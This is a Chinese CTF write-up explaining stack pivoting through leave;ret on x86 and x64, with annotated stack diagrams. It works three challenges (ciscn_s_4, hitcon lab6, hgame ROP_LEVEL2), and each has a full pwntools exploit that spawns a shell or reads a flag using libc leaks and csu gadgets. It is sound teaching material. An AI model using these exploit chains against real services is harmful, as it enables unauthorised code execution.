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[原创][原创]frame faking 栈迁移的理解 和 例题详解(含图示)
2021-4-8 18:37 6978

[原创][原创]frame faking 栈迁移的理解 和 例题详解(含图示)

2021-4-8 18:37
6978

frame faking 和 栈迁移的理解 和 例题详解(含图示)

  • 32位

    原理:

    • 通过栈溢出或者其他方式控制EBP
    • 控制EIP
    • 利用leave_ret 使得程序的执行流程被我们所控制

leave_ret:

1
2
3
leave:
        move esp,ebp;
        pop ebp;(esp=esp+4)
1
2
ret:
        pop    eip;

栈迁移大概流程图:

 

栈迁移

 

关键点:ebp实际上是个寄存器

例题

1.ciscn_4_s:

看程序关键部分

 

image-20210322205202909

  • 这里有两个read,且都是读入到同一个地方
  • s可储存的大小为0x28 但read可读入0x30
  • printf %s 结束符是'\0'(所以read读入不为空时候,printf因为遇见结束符才停止,进而可以泄露ebp地址)

image-20210322205455670

 

这里还有个后面函数 所以这里调用了system 所以我们在后面也可以使用system

 

0x28太小不足以用一些好的 ROP

 

我们如果把0x28 全填充为A 栈上的布局如图

 

image-20210322205820506

 

而printf %s 要遇见'\0' 才会终止 所以我们可以通过printf 泄露出ebp的地址

 

从而伪造ebp 实现栈迁移

 

我们先设计一下exp

  • 有两个read 第一个read 填充0x28 通过printf %s 打印出ebp地址
  • 第二次read 读入我们设置的栈布局
  • image-20210323001556670

 

这里流程是 read 结束后 要leave_ret 此时 ebp -> fake_ebp_addr

 

image-20210323003516399

 

又将会执行一次 leave_ret(即我们放进去的 leave_ret)

  • move esp,ebp; esp 和 ebp会指向同一位置
  • pop ebp; 此时ebp指向‘’AAAA“ 且esp=esp+4 指向 system_plt
  • pop eip 把esp指向的 system_plt 地址填入EIP寄存器中
  • system_plt 下方的4 * ”A“ 是system_fake_ebp

image-20210323003855964

 

因为第二次 leave_ret 同样要 pop ebp,pop ebp 后 ebp=’AAAA'

 

同样要esp=esp+4,所以前四个字节填’AAAA‘

 

system_plt 放在buf+4的地址

 

完成pop ebp 后 esp -> system_plt

 

然后程序会 按照我们栈布局的内容执行,从而getshell

 

exp:

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from pwn import *
arch      = 32
challenge = "./ciscn_s_4"
local = int(sys.argv[1])
context(log_level = "debug",os = "linux")
if local:
    io = process(challenge)
    #libc = ELF("./libc.so.6")
    elf = ELF(challenge)
else:
    io = remote('node3.buuoj.cn',25839)
    #libc = ELF("./libc.so.6")
    elf = ELF(challenge)
if arch==64:
    context.arch='amd64'
if arch==32:
    context.arch='i386'
p   = lambda      : pause()
s   = lambda x    : success(x)
re  = lambda x     : io.recv(x)
ru  = lambda x    : io.recvuntil(x)
rl  = lambda      : io.recvline()
sd  = lambda x    : io.send(x)
sl  = lambda x    : io.sendline(x)
itr  = lambda      : io.interactive()
sla = lambda a, b : io.sendlineafter(a, b)
sa  = lambda a, b : io.sendafter(a, b)
 
def dbg():
    gdb.attach(io)
    pause()
system=elf.plt['system']
leave_ret=0x080485FD
#pwnlib.gdb.attach(proc.pidof(io)[0])
payload1='A' * 0x24+'a'*4
ru('name?')
sd(payload1)
ru('aaaa')
ebp=u32(re(4).ljust(4,'\x00'))
print 'epb:'+(hex(ebp))
fake_ebp=ebp-0x38
payload2='AAAA'+p32(system)+'AAAA'+p32(fake_ebp+16)+'/bin/sh\x00'
payload2+='A'*(0x28-len(payload2))+p32(fake_ebp)+p32(leave_ret)
sd(payload2)
pause()
itr()
pause()

payload 解释:

 

fake_ebp:

 

GDB得到buf_address = 0xffffce20

 

image-20210331195818490

 

得到ebp 指向的地址 [ebp]=0xffffce58

 

image-20210331200131103

1
offset=0xffffce58 - 0xffffce20 =0x38

所以我们只要把泄露出的ebp -0x38 就让程序流程从布局好的buf段上执行


2.hitcon-master-lab6

检查保护:

1
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7
rgzz@ubuntu:~/work/stack/pivoting$ checksec migration
[*] '/home/rgzz/work/stack/pivoting/migration'
    Arch:     i386-32-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

NX enabled,FULL RELRO

 

再进IDA 看看程序流程

 

image-20210331202156995

 

这里count是个检查 不好反复栈溢出 main 只能跳一次

 

这里选择通过伪造ebp 通过栈转移 进而控制程序执行流程

 

这里可以溢出大小为 0x40-0x28=0x18

 

因为我们每次只能读入0x40 个字节 所以payload要分开写

 

payload1:

1
payload1=flat([0x28 * 'A',bss+0x500,read_plt, leave_ret,0,bss+0x500,0x100])

这里payload1 刚好大小0x40

 

我们先找到一段可以写的bss段 然后把bss+0x500地址作为fake_ebp

 

fake_ebp就是我们新的stack起始

 

通过把return_address 地址覆盖为read_plt 进而调用read 向新的stack 写入我们的payload2

 

gdb 跟一下:

 

跟到第一个read后发现ebp 已经被我们虚假fake_ebp覆盖了(buf_addr 就是找到bss段+0x500)

 

image-20210401014334255

 

马上程序会执行第个read (1)

 

第read(1) 读入puts.plt , 因为没有现成的system函数可以调用,这里选择通过puts泄露libc基址

 

泄露后继续利用read(2) 读入 system 地址和'/bin/sh' 从而实现get shell

 

因为我们要跳到我们填system_address 的地址上所以fake_ebp2=bss+0x400=read(2)读入数据存放地址

 

当read(2)结束后通过leave_ret 跳到bss+0x400上 进而执行system("/bin/sh")

 

payload2:

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payload2 = flat([bss+0x400
,puts_plt
,pop_ebx_ret
,puts_got
,read_plt
,leave_ret
,0
,bss+0x400
,0x100
])

payload3:

1
payload3 = flat(["aaaa",system,bbbb,binsh_addr])
  • pop_ebx_ret 因为每次调用function.plt 要有返回地址 pop_ebx_ret 用于链接payload2流程
  • 若pop_ebx_ret 填为 puts_fake_plt='AAAA' 则就不能正常执行下面的read(2)

图示栈布局程序流程:

 

未命名文件

 

exp 如下

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from pwn import *
arch      = 32
challenge = "./migration"
local = int(sys.argv[1])
context(log_level = "debug",os = "linux")
if local:
    io = process(challenge)
    libc = ELF('/lib/i386-linux-gnu/libc.so.6')
    elf = ELF(challenge)
else:
    io = remote('',)
    #libc = ELF("./libc.so.6")
    elf = ELF(challenge)
if arch==64:
    context.arch='amd64'
if arch==32:
    context.arch='i386'
p   = lambda      : pause()
s   = lambda x    : success(x)
re  = lambda x    : io.recv(x)
ru  = lambda x    : io.recvuntil(x)
rl  = lambda      : io.recvline()
sd  = lambda x    : io.send(x)
sl  = lambda x    : io.sendline(x)
itr = lambda      : io.interactive()
sla = lambda a, b : io.sendlineafter(a, b)
sa  = lambda a, b : io.sendafter(a, b)
 
def dbg():
    gdb.attach(io)
    pause()
read_plt = elf.plt['read']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
bss = elf.bss()
leave_ret = 0x08048504
pop_ebp_ret = 0x0804836d
print 'buf addr:'+hex(bss+0x500)
print 'puts_got:'+hex(puts_got)
ru(':\n')
payload1  = flat([0x28 * 'A', bss+0x500, read_plt, leave_ret, 0, bss+0x500,0x100])
sd(payload1)
 
#dbg()
 
payload2 = flat([bss+0x400, puts_plt, pop_ebp_ret, puts_got, read_plt, leave_ret, 0, bss+0x400,0x100])
sd(payload2)
puts = u32(io.recv(4))
print 'puts address:'+hex(puts)
libc.address = puts - libc.symbols['puts']
binsh_addr = next(libc.search('/bin/sh'))
system = libc.symbols['system']
 
payload3 = flat(['AAAA',system,'bbbb',binsh_addr])
sd(payload3)
itr()

image-20210323185422402

 

exp 中的pop_ebx_ret 是为了弹出在栈上的puts_got 好正常执行 read(0,bss+0x400,0x100)

 

因为read 的参数是由栈上获取的

 

题目下载地址:

 

https://github.com/hebtuerror404/CTF_competition_warehouse_2020_First/trunk/ROP_LEVEL2

总结(1):

  • 通过read 等函数,用fake frame 覆盖原本ebp
  • 通过leave_ret 方法 使程序跳到我们布局好的bss\stack 段上 进而控制程序流程进而

get_shell 或者 orw 得到 flag


x64

  • 原理和x86的栈迁移的原理一致都是通过 制造fake ebp 来将栈转移到我们布置的地址空间上,

  • 从而控制程序执行流程

区别:x64要通过gadget 填入参数

这里拿hgame 2020 week3 的ROP_level2 举例

先看保护:

 

image-20210408170339500

 

NX enabled

 

main function:

 

image-20210408170435550

 

发现 可以向buf 地址写内容

 

有两个read 第一个read 可以读0x100 且是向buf地址写内容(buf 在bss段上)

 

所以我们可以把栈布局 在buf上 然后通过第二个read 制造一个fake ebp 从而实现栈迁移

 

把栈执行流程转移到我们之前布局的地址上

 

这里还发现有seccomp 禁用了execve()

 

image-20210408170938440

 

所以这里就通过orw 来直接读flag了

 

因为这里利用gadget,所以我们先寻找gadget,我们发现rdi 和 rsi 都可以控制,但是rdx不行

 

后话:(这里调试发现rdx参数是之前read的0x60无影响)

 

这里我们选择利用libc_csu_init 通用gadget 来控制参数,刚好就利用栈迁移+orw+libc_csu_init 通用gadget

 

image-20210408171539569

 

利用总结:

  • 通过第一个read 读入栈布局 通过libc_csu_init 给open,read,put 填入参数
  • 通过第二个read 读入junk_data 伪造fake_ebp 使栈转移到我们刚刚布局的地址上
  • 利用puts 打印flag(puts只需要控制一个参数)

payload1 分成三段来解释:

1
2
3
4
5
payload1 = './flag\x00\x00'
payload1+=code([csu_start,0,1,open_got,0,0,buf_addr,csu_end])
payload1+='A' * 8+code([0,1,read_got,0x20,bss_stage,0x4,csu_end])+0x38 * 'A'
payload1+=code([pop_rdi,bss_stage,puts_plt])
ru("so?\n")

section 1:

1
2
payload1 = './flag\x00\x00'
payload1+=code([csu_start,0,1,open_got,0,0,buf_addr,csu_end])

open(buf_address,0)

 

通过libc_csu_init 填入参数 把'./flag' 放在buf_addr 开头

 

利用csu_end 里的call来执行

 

image-20210408173118726

 

section 2:

1
payload1+='A' * 8+code([0,1,read_got,0x20,bss_stage,0x4,csu_end])+0x38 * 'A'

image-20210408173220675

 

section1 执行完后由于我们控制rbx==rbp==1 所以不跳转 但是要rsp=rsp+8

 

这里用'A' * 8 来填充栈 使后面填充的参数正确对应

 

填充read(fd,address,size)=read(0x4,bss_stage,0x20) , (bss_stage)是读的flag放置的位置

 

用0x38 作为libc_csu_init gadget利用的结尾平衡栈

 

section 3:

1
payload1+=code([pop_rdi,bss_stage,puts_plt])

利用puts打印flag

payload2:

1
payload2 = 'A' * 0x50 + p64(buf_addr) + p64(leave_ret)

image-20210408174059137

 

前0x50 用"A"填充 利用我们布局的栈地址覆盖用原来的 ebp ,利用leave_ret 实现栈转移

 

完整exp:

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#!/usr/bin/python
from pwn import *
arch      = 64
challenge = "./ROP_LEVEL2"
local = int(sys.argv[1])
context(log_level = "debug",os = "linux")
if local:
    #io=gdb.debug(challenge,"break main")
    io = process(challenge)
    #libc = ELF('/lib/i386-linux-gnu/libc.so.6')
    elf = ELF(challenge)
else:
    io = remote('node3.buuoj.cn',25839)
    #libc = ELF("./libc.so.6")
    elf = ELF(challenge)
if arch==64:
    context.arch='amd64'
if arch==32:
    context.arch='i386'
p   = lambda      : pause()
s   = lambda x    : success(x)
re  = lambda x    : io.recv(x)
ru  = lambda x    : io.recvuntil(x)
rl  = lambda      : io.recvline()
sd  = lambda x    : io.send(x)
sl  = lambda x    : io.sendline(x)
itr = lambda      : io.interactive()
sla = lambda a, b : io.sendlineafter(a, b)
sa  = lambda a, b : io.sendafter(a, b)
leave_ret = 0x40090d
read_plt = elf.plt['read']
read_got = elf.got['read']
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
csu_start = 0x400A3A
csu_end   = 0x400A20
open_plt = elf.plt['open']
open_got = elf.got['open']
bss_stage = elf.bss()+0x200
buf_addr = 0x6010A0
pop_rdi = 0x400a43
pop_rsi_r15 = 0x400a41
def code(buf):
    out1 = b""
    for i in buf:
        out1+=p64(i)
    return out1
#csu end
#mov     rdx, r13
#mov     rsi, r14
#mov     edi, r15d
#csu start
#rbx rbp r12 r13 r14 r15
payload1 = './flag\x00\x00'
payload1+=code([csu_start,0,1,open_got,0,0,buf_addr,csu_end])
payload1+='A' * 8+code([0,1,read_got,0x20,bss_stage,0x4,csu_end])+0x38 * 'A'
payload1+=code([pop_rdi,bss_stage,puts_plt])
ru("so?\n")
sd(payload1)
sleep(1)
payload2 = 'A' * 0x50 + p64(buf_addr) + p64(leave_ret)
sd(payload2)
itr()

####补充 本地复现需要自己创建一个flag 文件和 some_life_experience文件

参考:

https://bbs.pediy.com/thread-258030.htm


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最后于 2021-4-8 18:38 被0xRGz编辑 ,原因:
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